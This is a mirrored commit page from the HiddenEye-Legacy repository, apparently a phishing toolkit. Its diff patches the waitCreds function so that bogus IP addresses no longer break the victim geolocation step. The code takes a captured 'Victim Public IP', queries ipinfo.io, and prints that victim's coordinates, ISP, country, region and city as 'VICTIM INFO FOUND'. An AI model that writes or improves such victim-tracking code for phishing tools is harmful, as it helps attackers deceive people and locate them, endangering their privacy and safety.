mirror of
https://github.com/DarkSecDevelopers/HiddenEye-Legacy.git
synced 2024-03-22 21:12:55 +08:00
Fix for bogus IP's for Termux. Rel #50
This commit is contained in:
parent
41c9e16a0a
commit
8c3896ab2f
|
@ -152,14 +152,18 @@ def waitCreds():
|
|||
ip = re.match('Victim Public IP: (.*?)\n', lines).group(1)
|
||||
resp = urlopen('https://ipinfo.io/%s/json' % ip).read()
|
||||
ipinfo = json.loads(resp)
|
||||
matchObj = re.match('^(.*?),(.*)$', ipinfo['loc'])
|
||||
latitude = matchObj.group(1)
|
||||
longitude = matchObj.group(2)
|
||||
print ('======================================================================'.format(RED, END))
|
||||
print (' \n{0}[ VICTIM INFO FOUND ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines)
|
||||
print (' \n{0}Longitude: %s \nLatitude: %s{1}'.format(GREEN, END) % (longitude, latitude))
|
||||
print (' \n{0}ISP: %s \nCountry: %s{1}'.format(GREEN, END) % (ipinfo['org'], ipinfo['country']))
|
||||
print (' \n{0}Region: %s \nCity: %s{1}'.format(GREEN, END) % (ipinfo['region'], ipinfo['city']))
|
||||
if (ipinfo['bogon'] != None):
|
||||
print ('======================================================================'.format(RED, END))
|
||||
print (' \n{0}[ VICTIM IP BOGUS ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines)
|
||||
else:
|
||||
matchObj = re.match('^(.*?),(.*)$', ipinfo['loc'])
|
||||
latitude = matchObj.group(1)
|
||||
longitude = matchObj.group(2)
|
||||
print ('======================================================================'.format(RED, END))
|
||||
print (' \n{0}[ VICTIM INFO FOUND ]{1}:\n {0}%s{1}'.format(GREEN, END) % lines)
|
||||
print (' \n{0}Longitude: %s \nLatitude: %s{1}'.format(GREEN, END) % (longitude, latitude))
|
||||
print (' \n{0}ISP: %s \nCountry: %s{1}'.format(GREEN, END) % (ipinfo['org'], ipinfo['country']))
|
||||
print (' \n{0}Region: %s \nCity: %s{1}'.format(GREEN, END) % (ipinfo['region'], ipinfo['city']))
|
||||
system('rm -rf Server/www/ip.txt && touch Server/www/ip.txt')
|
||||
print ('======================================================================'.format(RED, END))
|
||||
|
||||
|
|
Loading…
Reference in New Issue
Block a user